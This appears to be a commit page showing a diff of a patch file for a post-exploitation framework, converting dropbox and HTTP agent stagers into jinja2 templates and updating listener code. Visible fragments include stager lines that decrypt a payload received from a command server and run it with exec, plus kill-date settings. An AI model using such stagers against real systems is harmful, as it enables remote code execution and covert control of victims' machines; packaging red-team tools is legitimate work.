Refresh patches
Sophie Brun
4 years ago
| 22 | 22 | create mode 100644 data/agent/stagers/http.jinja2 |
| 23 | 23 | delete mode 100644 data/agent/stagers/http.py |
| 24 | 24 | |
| 25 | diff --git a/data/agent/stagers/dropbox.jinja2 b/data/agent/stagers/dropbox.jinja2 | |
| 26 | new file mode 100644 | |
| 27 | index 0000000..212e8cb | |
| 28 | 25 | --- /dev/null |
| 29 | 26 | +++ b/data/agent/stagers/dropbox.jinja2 |
| 30 | 27 | @@ -0,0 +1,133 @@ |
| 161 | 158 | +# step 6 -> server sends HMAC(AES) |
| 162 | 159 | +agent = aes_decrypt_and_verify(key, raw) |
| 163 | 160 | +exec(agent) |
| 164 | diff --git a/data/agent/stagers/dropbox.py b/data/agent/stagers/dropbox.py | |
| 165 | deleted file mode 100644 | |
| 166 | index 38ec345..0000000 | |
| 167 | 161 | --- a/data/agent/stagers/dropbox.py |
| 168 | 162 | +++ /dev/null |
| 169 | 163 | @@ -1,135 +0,0 @@ |
| 302 | 296 | -# step 6 -> server sends HMAC(AES) |
| 303 | 297 | -agent = aes_decrypt_and_verify(key, raw) |
| 304 | 298 | -exec(agent) |
| 305 | diff --git a/data/agent/stagers/http.jinja2 b/data/agent/stagers/http.jinja2 | |
| 306 | new file mode 100644 | |
| 307 | index 0000000..1ff25ac | |
| 308 | 299 | --- /dev/null |
| 309 | 300 | +++ b/data/agent/stagers/http.jinja2 |
| 310 | 301 | @@ -0,0 +1,98 @@ |
| 406 | 397 | +agent = agent.replace('REPLACE_WORKINGHOURS', WorkingHours) |
| 407 | 398 | +agent = agent.replace('REPLACE_KILLDATE', KillDate) |
| 408 | 399 | +exec(agent) |
| 409 | diff --git a/data/agent/stagers/http.py b/data/agent/stagers/http.py | |
| 410 | deleted file mode 100644 | |
| 411 | index 4a9579a..0000000 | |
| 412 | 400 | --- a/data/agent/stagers/http.py |
| 413 | 401 | +++ /dev/null |
| 414 | 402 | @@ -1,100 +0,0 @@ |
| 512 | 500 | -agent = agent.replace('REPLACE_WORKINGHOURS', WorkingHours) |
| 513 | 501 | -agent = agent.replace('REPLACE_KILLDATE', KillDate) |
| 514 | 502 | -exec(agent) |
| 515 | diff --git a/lib/listeners/dbx.py b/lib/listeners/dbx.py | |
| 516 | index d737426..3b8ce2d 100755 | |
| 517 | 503 | --- a/lib/listeners/dbx.py |
| 518 | 504 | +++ b/lib/listeners/dbx.py |
| 519 | 505 | @@ -418,7 +418,7 @@ class Listener(object): |
| 525 | 511 | |
| 526 | 512 | template_options = { |
| 527 | 513 | 'staging_folder': stagingFolder, |
| 528 | diff --git a/lib/listeners/http.py b/lib/listeners/http.py | |
| 529 | index 651328b..890b3ce 100644 | |
| 530 | 514 | --- a/lib/listeners/http.py |
| 531 | 515 | +++ b/lib/listeners/http.py |
| 532 | 516 | @@ -617,8 +617,8 @@ class Listener(object): |
| 540 | 524 | template_options = { |
| 541 | 525 | 'working_hours': workingHours, |
| 542 | 526 | 'kill_date': killDate, |
| 543 | diff --git a/lib/listeners/redirector.py b/lib/listeners/redirector.py | |
| 544 | index 2b78253..af75379 100644 | |
| 545 | 527 | --- a/lib/listeners/redirector.py |
| 546 | 528 | +++ b/lib/listeners/redirector.py |
| 547 | 529 | @@ -417,7 +417,7 @@ class Listener(object): |
| 553 | 535 | stager = f.read() |
| 554 | 536 | f.close() |
| 555 | 537 | |
| 556 | diff --git a/lib/stagers/multi/pyinstaller.py b/lib/stagers/multi/pyinstaller.py | |
| 557 | index aa8f3a7..de96e6c 100644 | |
| 558 | 538 | --- a/lib/stagers/multi/pyinstaller.py |
| 559 | 539 | +++ b/lib/stagers/multi/pyinstaller.py |
| 560 | 540 | @@ -121,8 +121,8 @@ class Stager(object): |